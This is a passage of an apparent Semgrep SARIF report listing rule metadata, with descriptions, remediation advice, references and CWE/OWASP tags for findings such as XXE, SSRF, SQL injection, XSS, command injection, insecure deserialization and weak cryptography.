SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","id":"java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","name":"java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","id":"javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","name":"javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","id":"ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","name":"ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data."},"help":{"markdown":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.database.string-formatted-query.string-formatted-query)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.database.string-formatted-query.string-formatted-query","id":"go.lang.security.audit.database.string-formatted-query.string-formatted-query","name":"go.lang.security.audit.database.string-formatted-query.string-formatted-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.database.string-formatted-query.string-formatted-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result."},"help":{"markdown":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","id":"javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","name":"javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","id":"python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","name":"python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list."},"help":{"markdown":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.os-system-injection.os-system-injection)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.os-system-injection.os-system-injection","id":"python.flask.security.injection.os-system-injection.os-system-injection","name":"python.flask.security.injection.os-system-injection.os-system-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.os-system-injection.os-system-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"help":{"markdown":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpconn)\n","text":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpconn","id":"python.lang.compatibility.python37.python37-compatibility-httpconn","name":"python.lang.compatibility.python37.python37-compatibility-httpconn","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-httpconn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","id":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","name":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","id":"python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","name":"python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-none-alg.jwt-python-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-none-alg.jwt-python-none-alg","id":"python.jwt.security.jwt-none-alg.jwt-python-none-alg","name":"python.jwt.security.jwt-none-alg.jwt-python-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-none-alg.jwt-python-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info."},"help":{"markdown":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#server_side_encryption_configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#server_side_encryption_configuration)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html)\n","text":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","id":"terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","name":"terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors)\n - [https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","id":"php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","name":"php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","id":"python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","name":"python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted 